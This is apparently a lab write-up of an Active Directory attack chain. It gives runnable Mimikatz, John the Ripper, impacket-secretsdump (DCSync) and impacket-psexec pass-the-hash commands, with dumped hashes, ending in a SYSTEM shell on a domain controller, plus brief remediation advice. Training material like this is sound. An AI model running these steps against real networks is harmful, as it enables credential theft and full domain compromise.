Post cover image

July 20, 2026

AD Credentials Harvesting & DCSync Attack — (Full Write-up)

Conceptual Overview & Kill Chain

By NASRALLAH SALEH (Xiro0x)

4 min read

Conceptual Overview & Kill Chain

In an Active Directory (AD) network, Domain Controllers (DCs) manage user authentication and permissions. When an attacker gains initial access to a single domain-joined workstation, the goal is often privilege escalation and lateral movement to compromise the entire domain.

The kill chain used in this scenario follows five phases:

  1. Tool Setup: Preparing the attack platform with framework libraries (Impacket) and dictionary files (rockyou.txt).

2. Local Credential Harvesting (LSA Cache): Extracting cached credentials from memory on a local computer.

3. Offline Password Cracking: Converting hashed values back into plaintext passwords using brute-force/dictionary attacks.

4. DCSync Attack: Simulating a legitimate Domain Controller to request credential copies directly from AD.

5. Pass-the-Hash (PtH): Authenticating to critical infrastructure using password hashes directly, bypassing the need for plaintext passwords.

Phase 1: Environment & Tool Setup

Conceptual Explanation

  • Impacket: A collection of Python classes for working with network protocols (SMB, MSRPC, Kerberos, LDAP). It contains pre-built scripts (like secretsdump.py and psexec.py) that allow security auditors to interact with Windows network protocols directly from Linux (That what we are going to use in this write-up).
  • Rockyou.txt: A standard dictionary list containing millions of real-world passwords used to perform offline brute-force attacks against stolen password hashes.

⚙ Commands

# 1. Update system repositories
sudo apt update
# 2. Install Impacket framework globally on Kali Linux
sudo apt install python3-impacket impacket-scripts -y
# Alternatively, if installing from the source repository:
git clone https://github.com/fortra/impacket.git
cd impacket
pip install . --break-system-packages
# 3. Decompress the default rockyou wordlist
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Phase 2: Local Credential Extraction (SAM vs. LSA Cache)

Conceptual Explanation

  • SAM (Security Account Manager): A local database in Windows that stores passwords only for local accounts (e.g., local Administrator, Guest). It does not contain domain accounts.
  • LSA Cache (DCC2 / MsCacheV2): When a domain user (e.g., drgonzo) logs into a workstation while disconnected from the network, Windows caches a special hash of their password locally so they can still log in. This format is called Domain Cached Credentials version 2 (DCC2) or MsCacheV2.
  • Mimikatz: A post-exploitation tool used to extract sensitive data (plaintext passwords, hashes, Kerberos tickets) from Windows memory and system databases.

We first inspect the SAM hive (which yields no domain credentials), then extract the LSA Cache to capture the domain user's DCC2 hash.

⚙ Commands (Run inside Mimikatz on the compromised workstation WRK)

After we install or share the tool Mimikatz from our machine to the victime machine we start with this commands :

# we Start the tool by call it (execute it)
mimikatze.exe

# Enable Debug privileges to allow Mimikatz to interact with system processes
privilege::debug
# Elevate privileges to SYSTEM level
token::elevate
# Attempt 1: Check SAM (only returns local machine accounts)
lsadump::sam
# Attempt 2: Dump LSA Cache (returns cached domain user hashes)
lsadump::cache

Captured Output:

[NL$4 - 17/07/2025 13:58:32]
RID       : 0000064b (1611)
User      : TRYHACKME\drgonzo
MsCacheV2 : d0dc1647e45cf7364ecec3c7740fce0f

Phase 3: Offline Password Cracking (DCC2 / MsCacheV2)

Conceptual Explanation

  • DCC2 / MsCacheV2 Hash Structure: DCC2 hashes are generated using a key derivation function (PBKDF2) combined with the user's username (in lowercase) and the NTLM hash. Because of this structure, offline cracking tools require a specific input format: $DCC2$10240#username#hash.
  • John the Ripper: An offline password cracking tool that compares wordlist entries hashed in memory against the target hash until a match is found.
  • Hashcat : John the Ripper with steroids it works in GPU power not like John that use the cpu

⚙ Commands (Run on Kali Linux)

# 1. Format the hash into the standard DCC2 structure for John the Ripper
echo '$DCC2$10240#drgonzo#d0dc1647e45cf7364ecec3c7740fce0f' > hash11.txt
# 2. Run John using the mscash2 format and rockyou wordlist
john --format=mscash2 hash11.txt --wordlist=/usr/share/wordlists/rockyou.txt
# 3. View the cracked plaintext credential
john --show --format=mscash2 hash11.txt

Cracked Result: drgonzo : lasvegas1

Phase 4: DCSync Attack (secretsdump.py)

Conceptual Explanation

  • Directory Replication Service (DRS) & DRSUAPI: Active Directory uses the DRS remote protocol (specifically via the DRSUAPI RPC interface) to replicate database changes between Domain Controllers.
  • DCSync Attack: If a user account has specific high-level domain privileges (such as DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), an attacker can pretend to be a secondary Domain Controller. The attacker requests the primary DC to replicate password data via DRSUAPI.
  • Why it matters: A DCSync attack reads the Active Directory database (NTDS.dit) remotely over the network without needing to execute code directly on the Domain Controller or create Volume Shadow Copies (VSS).

⚙ Commands (Run on Kali Linux from a writable directory like /tmp)

# Change to a directory with write permissions to store output files
cd /tmp
# Execute secretsdump using drgonzo's credentials against the Domain Controller IP (10.220.10.10)
impacket-secretsdump TRYHACKME/drgonzo:'lasvegas1'@10.220.10.10 -just-dc -output dc_dump

Extracted Credentials Output (/tmp/dc_dump.ntds):

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:399b08294203eeafef6c1ec6d5747127:::
drgonzo:1611:aad3b435b51404eeaad3b435b51404ee:e2c947a3cce1634343ac1cfaa3ca506d:::

Phase 5: Pass-the-Hash & Full Domain Takeover

Conceptual Explanation

  • NTLM Hash: Windows authenticates users over the network using NTLM challenge-response protocols. Instead of sending the plaintext password, Windows calculates an NTLM hash of the password and uses it during authentication.
  • Pass-the-Hash (PtH): Because the NTLM hash itself is what gets passed to the authentication protocols, an attacker who possesses the NTLM hash does not need to crack or know the plaintext password. They can present the hash directly to authenticate.
  • psexec.py: An Impacket implementation of Sysinternals PsExec. It creates a temporary service on the target machine over SMB (Port 445) to execute commands with elevated privileges (NT AUTHORITY\SYSTEM).

⚙ Commands (Run on Kali Linux)

Bash

# Authenticate to the Domain Controller (10.220.10.10) as Domain Administrator using their NTLM Hash
impacket-psexec 'TRYHACKME/Administrator@10.220.10.10' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

Final Result: An interactive command shell on the Domain Controller running as NT AUTHORITY\SYSTEM. 🚩

🛡 Defensive Remediation Summary

  • Reduce LSA Caching: Configure the Group Policy Object (GPO) Interactive logon: Number of previous logons to cache to 0 or 1 on workstations to limit offline credential exposure.
  • Monitor DRSUAPI Traffic: Set up Network Detection and Response (NDR) rules to alert on DSGetNCChanges RPC requests originating from IP addresses that do not belong to known Domain Controllers.
  • Restrict Privileged Accounts: Enforce Tiered Administration models to prevent Domain Administrators from logging into workstations or lower-tier servers.